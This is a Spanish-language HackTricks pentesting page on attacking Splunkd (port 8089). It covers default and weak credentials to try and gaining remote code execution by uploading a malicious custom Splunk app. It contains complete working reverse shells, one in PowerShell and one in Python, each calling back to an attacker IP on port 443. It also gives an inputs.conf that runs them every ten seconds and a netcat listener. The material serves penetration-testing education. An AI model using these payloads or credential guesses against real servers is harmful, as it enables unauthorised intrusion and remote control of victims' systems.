mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
132 lines
9.8 KiB
Markdown
132 lines
9.8 KiB
Markdown
|
# 8089 - Pentesting Splunkd
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## **Información básica**
|
||
|
|
||
|
**Splunk** es una herramienta de **análisis de registros** utilizada para recopilar, analizar y visualizar datos. Aunque originalmente no estaba destinado a ser una herramienta SIEM, Splunk a menudo se utiliza para **monitoreo de seguridad y análisis empresarial**. Las implementaciones de Splunk a menudo se utilizan para almacenar **datos sensibles** y podrían proporcionar una gran cantidad de información para un atacante si se comprometen.
|
||
|
|
||
|
**Puerto predeterminado:** 8089
|
||
|
```
|
||
|
PORT STATE SERVICE VERSION
|
||
|
8089/tcp open http Splunkd httpd
|
||
|
```
|
||
|
{% hint style="info" %}
|
||
|
El servidor web de Splunk se ejecuta por defecto en el puerto 8000.
|
||
|
{% endhint %}
|
||
|
|
||
|
## Enumeración
|
||
|
|
||
|
### Versión gratuita
|
||
|
|
||
|
La versión de prueba de Splunk Enterprise se convierte en una versión gratuita después de 60 días, que no requiere autenticación. No es raro que los administradores del sistema instalen una versión de prueba de Splunk para probarla, que posteriormente se olvida. Esto se convertirá automáticamente en la versión gratuita que no tiene ningún tipo de autenticación, lo que introduce un agujero de seguridad en el entorno. Algunas organizaciones pueden optar por la versión gratuita debido a limitaciones presupuestarias, sin comprender completamente las implicaciones de no tener gestión de usuarios/roles.
|
||
|
|
||
|
### Credenciales por defecto
|
||
|
|
||
|
En versiones antiguas de Splunk, las credenciales por defecto son `admin:changeme`, que se muestran convenientemente en la página de inicio de sesión. Sin embargo, la última versión de Splunk establece credenciales durante el proceso de instalación. Si las credenciales por defecto no funcionan, vale la pena comprobar contraseñas débiles comunes como `admin`, `Welcome`, `Welcome1`, `Password123`, etc.
|
||
|
|
||
|
### Obtener información
|
||
|
|
||
|
Una vez iniciada la sesión en Splunk, podemos navegar por los datos, ejecutar informes, crear paneles, instalar aplicaciones desde la biblioteca de Splunkbase e instalar aplicaciones personalizadas. También se puede ejecutar código: Splunk tiene múltiples formas de ejecutar código, como aplicaciones Django en el lado del servidor, puntos finales REST, entradas con scripts y scripts de alerta. Un método común para obtener ejecución remota de código en un servidor Splunk es mediante el uso de una entrada con script.
|
||
|
|
||
|
Además, como Splunk se puede instalar en hosts de Windows o Linux, se pueden crear entradas con scripts para ejecutar scripts Bash, PowerShell o Batch.
|
||
|
|
||
|
### Shodan
|
||
|
|
||
|
* `Construcción de Splunk`
|
||
|
|
||
|
## RCE
|
||
|
|
||
|
### Crear aplicación personalizada
|
||
|
|
||
|
Una aplicación personalizada puede ejecutar scripts de Python, Batch, Bash o PowerShell. Tenga en cuenta que Splunk viene con Python instalado, por lo que incluso en sistemas Windows podrá ejecutar código de Python.
|
||
|
|
||
|
Puede utilizar [**este**](https://github.com/0xjpuff/reverse\_shell\_splunk) paquete de Splunk para ayudarnos. El directorio `bin` en este repositorio tiene ejemplos para [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) y [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Vamos a ver esto paso a paso.
|
||
|
|
||
|
Para lograr esto, primero necesitamos crear una aplicación personalizada de Splunk utilizando la siguiente estructura de directorios:
|
||
|
```shell-session
|
||
|
tree splunk_shell/
|
||
|
|
||
|
splunk_shell/
|
||
|
├── bin
|
||
|
└── default
|
||
|
```
|
||
|
El directorio **`bin`** contendrá cualquier **script que pretendamos ejecutar** (en este caso, un shell inverso de **PowerShell**), y el directorio predeterminado tendrá nuestro archivo `inputs.conf`. Nuestro shell inverso será una **línea de comando de PowerShell:**
|
||
|
```powershell
|
||
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
||
|
```
|
||
|
El archivo [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) indica a Splunk **qué script ejecutar** y cualquier otra condición. Aquí establecemos que la aplicación está habilitada y le decimos a Splunk que ejecute el script cada 10 segundos. El intervalo siempre está en segundos, y la entrada (script) solo se ejecutará si esta configuración está presente.
|
||
|
```shell-session
|
||
|
cat inputs.conf
|
||
|
|
||
|
[script://./bin/rev.py]
|
||
|
disabled = 0
|
||
|
interval = 10
|
||
|
sourcetype = shell
|
||
|
|
||
|
[script://.\bin\run.bat]
|
||
|
disabled = 0
|
||
|
sourcetype = shell
|
||
|
interval = 10
|
||
|
```
|
||
|
Necesitamos el archivo `.bat`, que se ejecutará cuando se implemente la aplicación y ejecutará la línea de comando de PowerShell.
|
||
|
|
||
|
El siguiente paso es elegir `Instalar aplicación desde archivo` y cargar la aplicación.
|
||
|
|
||
|
<figure><img src="../.gitbook/assets/image (4) (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Antes de cargar la aplicación personalizada maliciosa, iniciemos un escucha usando Netcat o [socat](https://linux.die.net/man/1/socat).
|
||
|
```shell-session
|
||
|
sudo nc -lnvp 443
|
||
|
|
||
|
listening on [any] 443 ...
|
||
|
```
|
||
|
En la página `Subir aplicación`, haz clic en `Examinar`, elige el archivo tarball que creamos anteriormente y haz clic en `Subir`. **Tan pronto como subamos la aplicación**, recibiremos una **shell inversa** y el estado de la aplicación se cambiará automáticamente a `Habilitado`.
|
||
|
|
||
|
#### Linux
|
||
|
|
||
|
Si estuviéramos tratando con un **host de Linux**, tendríamos que **editar el script Python `rev.py`** antes de crear el tarball y subir la aplicación maliciosa personalizada. El resto del proceso sería el mismo, y obtendríamos una conexión de shell inversa en nuestro listener de Netcat y estaríamos listos para empezar.
|
||
|
```python
|
||
|
import sys,socket,os,pty
|
||
|
|
||
|
ip="10.10.14.15"
|
||
|
port="443"
|
||
|
s=socket.socket()
|
||
|
s.connect((ip,int(port)))
|
||
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||
|
pty.spawn('/bin/bash')
|
||
|
```
|
||
|
### RCE y Escalada de Privilegios
|
||
|
|
||
|
En la siguiente página puedes encontrar una explicación de cómo se puede abusar de este servicio para escalar privilegios y obtener persistencia:
|
||
|
|
||
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
||
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## Referencias
|
||
|
|
||
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|